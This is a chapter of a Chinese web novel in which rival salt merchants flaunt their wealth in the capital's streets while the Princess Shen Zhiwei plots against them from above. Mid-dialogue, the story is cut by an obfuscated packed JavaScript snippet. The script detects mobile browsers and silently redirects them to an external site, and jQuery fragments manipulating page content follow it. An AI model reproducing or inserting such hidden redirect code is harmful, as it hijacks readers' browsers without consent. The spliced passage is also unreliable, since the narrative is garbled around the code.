38. 明珠照夜白
作品:《重生后,失忆仇敌在我怀里装乖》 京城的朱雀大街上,早起的小民商贩们衬着薄雾刚刚开始摆起摊来。
只是这几天的清晨与其他日头有所不同。
只听……
“叮铃铃”的一阵金铃、银铃的乱响交错传来。
京城的小民们都已见怪不怪抬头向城门望了去。
“这又是哪家老爷啊……这几日这些富商老爷进京可比赶庙会还热闹呢!”
“就是,就是,你看那马车的铃铛,金的,这么大个,怕不是能买下咱们半条街呢!”
两个小摊贩探头探脑的踮起脚尖张望道。
“嘿,还能是哪家?咱们大胤的富商这两天可是星夜兼程赶着来京城呢……啧啧啧,也难怪,这可是江淮盐引要招标呢,谁不想啊……”
“洪爷这怎么说呢?”
刚才探头探脑的小贩忙转头问那一脸讳莫如深、振振有词发表高见的茶摊老板。
茶摊老板笑了笑指了指自家的茶水,那些想听八卦的小贩和路过早起的闲人们,立刻会意,纷纷扬手往那茶摊老板的钱框里扬了几个铜钱,茶摊老板方才开口继续道。
“历朝历代,但凡沾上盐引的,哪个不是富的流油呢?没听说过么,前朝有个盐商富到家里子弟都拿珍珠儿打水漂呢!这可是世代富贵的肥差啊,谁不想分一杯羹啊?”
“嘶……原来是这样啊!”
围着茶摊的小贩和闲人们纷纷发出了唏嘘声,但人人眼里都透着艳羡,要不是他们家底薄,也真想去试试呢!
可,就在此时,有人发出了疑问。
“可、可这消息靠谱么?”
一个脚夫蹲在地上捧着一杯高末咂着嘴道,他平日里的活路是给那些高门大户卖点力气的,消息也是灵通。
“我听说主持这次招标会的,是……是咱们长公主,她、她可是个女儿家,这么重要的活路交给一个女儿家……她、她、她能镇的住那些奸商么?”
“呔!你懂什么?!”
茶摊老板不满的瞪了那脚夫一眼呵斥道。
“方家知道吧?原先可是齐王的钱袋子,后来齐王殿上作乱,大家都说方家是要完了,是吧?
没曾想啊,没曾想,现在人家处理了几个家贼,把那方家老爷拿下后,庶长子方承襄却直接补了官,现今手下管的就是江淮盐引的这边官面上的事儿,我可听说了这背后啊全仰仗长公主一句话!”
“这、这是真的吗?这……这长公主有这么大能量……”
“那是当然,我可是从我表舅那边听来的,我表舅啊就在九门提督手下做事呢,这京城的事儿,有哪件他不知道的?”
茶摊老板洋洋得意的昂起了头,欣赏着周围人对他仰慕的神情,包括刚才那个怀疑沈知微不行的脚夫听的都连连点头起来。
见的众人对他崇拜无比,那茶摊老板也是鸡贼,又指了指自己的钱框,许是听八卦都是人的天性,周围人纷纷围了过来,心甘情愿的又交了钱,让那茶摊老板继续说下去。
“哼哼,看你们诚心,爷就再给你们透个底,这招标的消息可是从长公主府里传出来的,这已然都过两三天了,要真是假的,陛下早就下旨澄清了,这不,风平浪静?说明什么,这不就说明长公主隆宠正盛,消息妥妥的真么!?”
一听茶摊老板的话儿,在场所有人恍然大悟,纷纷发出钦佩又信服的声音。
——
老百姓的议论声不大,但是在清晨的街市上也传的足够远,足够清晰了。
这不,这些议论声就落到了刚入城的两位富商耳里。
而这两人正是大胤富商之二,扬州的周万贯和泉州的林世荣。
周万贯坐在镶金嵌玉的马车里,听着外面的闲言碎语,他举起戴着三个拇指大的祖母绿宝石的金戒指的手指在自家下巴搓了一下,肥厚的嘴唇一撇道。
“哼,一群泥腿子,也配议论盐引?”
说实话,这些老百姓的顾虑也在他心底盘桓过。
可他们这些富商得到消息总比平头百姓要快上那么一点,周万贯也是将这消息晾了两三天,发现朝堂那边没动静,还拖认识的上面的人打探了一下,确认无误,他才星夜兼程的赶来京师!
这可是万世富贵的事情啊,做生意有亏有赢,但要是拿下盐引就算他家儿孙以后代代不成器,也能保证家里世代富贵有余了!
想到这里,周万贯捏了捏他那嘴唇上梳的整齐的胡子,眯起眼睛活像只老谋深算的大肥耗子一般,心里暗自恨恨道谁也别想和他争着盐引!
“老爷,前面、前面走不通啊……”
就在周万贯思量自己该怎么打败竞争对手,拿下盐引的时候。
突然有个下人跑到他轿子旁边喊了一句。
“什么?谁敢拦老爷我的路?”
周万贯心思全在盐引上,还想着第一个赶到会场,看看能不能和现场人员搞好关系呢,一听有人拦路气自然是不打一处来的。
“不是、不是,有人拦路,好像、好像是泉州的林老爷,他们阵仗太大了,老百姓们都围了过去,把路给堵住了!”
下人答道。
周万贯一听,连忙掀起帘子来,差点气的背过气去。
……林家不愧是海运世家,摆阔的方式别出心裁。
只见长街中央,林家的轿子缓缓前行,令人瞠目结舌的是,那些轿夫每走一步,两侧便有八名彩衣婢女迅速跪地,然后将崭新的苏绣掺着鲛绡纱的毯子铺在青石板上,鲛绡纱薄弱蝉翼,阳光洒在上面,反射出晶晶亮亮的光点,让有种这轿子仿佛是踏在天河上一般光鲜亮丽。
“这……”
周万贯气的胡子翘了起来,心里不住暗骂道。
林世荣这厮这般摆阔,是怕别人不知道他有钱么……哦,对了对了,定是想在这里炫耀实力,好让这些风言风语传到长公主耳朵里去,让长公主以为他家林家多有实力呢!
人在竞争时候,总是容易想多,特别是这些心眼多的好似窟窿一般的大商人们。
周万贯思忖到这里,忍不住了一拍轿窗大喝一声道。
“来人!取我的银豆匣来!”
下人慌忙捧来一个紫檀木匣子,周万贯“啪”的一声掀开了盖子,里面竟是满满一匣银豆子,个个滚圆的如莲子一般,表面还刻着周家的徽记。
“撒!”
他狞笑一声,对着林家轿子几乎是喊了出来。
“让泉州佬见见,什么才叫真富贵!”
银豆子瞬间如雨点般被抛向街道,在青石板上蹦跳滚落,发出清脆的撞击声来。
百姓们显示一愣,随即疯了一般扑了上前争抢,推搡叫骂声瞬间炸开,有人被挤掉了鞋,有人为多抢一颗银豆子和旁边人扭打起来,一时间街上一片混乱。
周万贯得意的捋起胡子,心想着对面的泉州佬,定然在轿子里咬牙切齿吧!
却见对面轿帘一掀,林世荣那张清瘦的脸庞露了出来,金丝眼镜后面的眸子波澜不惊,甚至还闪过一丝讥诮。
“周老爷倒是大方,不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616632|170561||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这种程度……哼哼,既如此,林家也不能失礼了!”
话音刚落,两名侍女便捧着鎏金莲花纹样的红木盒子上前,盒盖一掀,竟是满满一盒南海珍珠,个个有龙眼大小,日光照在上面泛着莹润的虹彩!
“叮叮咚咚……”
林世荣随意抓了一把,漫不经心往街面上一抛。
抢银豆子的百姓们全部僵住了,一个老汉眼疾手快先捡起一枚,对着阳光照了照,突然双膝一软跪倒在地上大喊出声。
“这是……这是贡品级别的南珠啊!”
或许百姓们不知道南珠是什么,但不要紧只听的那“贡品级”、见的那流光溢彩的宝珠模样,人人都心知是宝物,瞬间又疯抢在一起,比刚才抢银豆子激烈上万分。
林世荣对着周万贯洋洋眉毛,金丝眼镜后面的讥诮更加明显。
周万贯见的,脸瞬间气的成了猪肝色,猛地从怀里掏了个锦囊出来,倒出三枚鸽血宝石,指着地面大喊了一句。
“给我砸!”
林世荣那边立刻还以颜色,四名小厮抬出一尊翡翠貔貅摆件出来,故意“失手”摔在街心,碧玉的碎片飞到到处都是,又是引来百姓们的一轮疯抢。
——
朱雀大街上,珍珠滚落,宝石碎裂,好不热闹。
而远处的摘星楼上,却又是一番宁静。
沈知微正执黑子,指尖轻轻敲击着棋盘,凤眸微垂,目光虽是盯着棋盘,眼角的余光却如有似无的瞧着街上的闹剧。
“去年听泉州使说海匪劫掠沿海,导致沿海渔民死伤无数,他们出了水是剿灭了数次,可不知是那海匪首领能掐会算,仰或是有人通风报信,总是让那些海匪临阵逃离。
……可这泉州林家却日益蒸蒸日上呢,他家的船只从不被劫掠和侵袭。”
随着一枚黑子落下,沈知微忽然开口道。
“可不是么?苏杭一带也有传闻,据说有些富贵人家逼着百姓改稻为桑,却不给半分补贴,等到朝廷要纳税的时候,居然逼着这些百姓去买他们家贵十倍的米粮缴纳税粮去……
百姓一年辛苦到头,还得卖儿卖女……”
方承襄按下一颗白子,抬眸时,正好和沈知微对视上了,眸中讥诮和怒火已然不可压抑。
街上的声响越发大了起来,周万贯和林世荣的斗富已至癫狂,周家抬出了做七层鎏金嵌玉的佛塔,林家更是砸碎了一株七尺高的红珊瑚,这些往日难得一见的珍宝,因为两人的虚荣变成了一块块碎屑飞溅在街市上,引得百姓们越发的疯狂。
沈知微不急不徐,指尖的黑子轻轻落下,“嗒”的一声正正巧巧卡在方承襄的大龙关节处。
“看你的了!”
方承襄垂首。
“定不辱使命!”
他刚要起身去筹备这次招标,忽然楼下传来一阵急促的脚步声。
一名侍卫跌跌撞撞奔上前来,单膝跪地。
“殿下,会场来了个外、外族人……自称什么阿史那什么王子的,没有请帖,却非要闯进来参加竞标!”
沈知微一听,眉头一皱,扶额轻叹了一句。
“这……这家伙怎么也来凑热闹了?”
还嫌给自己添的麻烦不够多么?
沈知微把剩下半句吞进肚子里去了!
但看着日头,时间已然不早了,她站起身来,抿了抿唇,绯色的宫装扫过棋盘,眸子一冷。
“罢了,既然来了,也让他入局吧!正好……那天本宫的仇还没报呢!”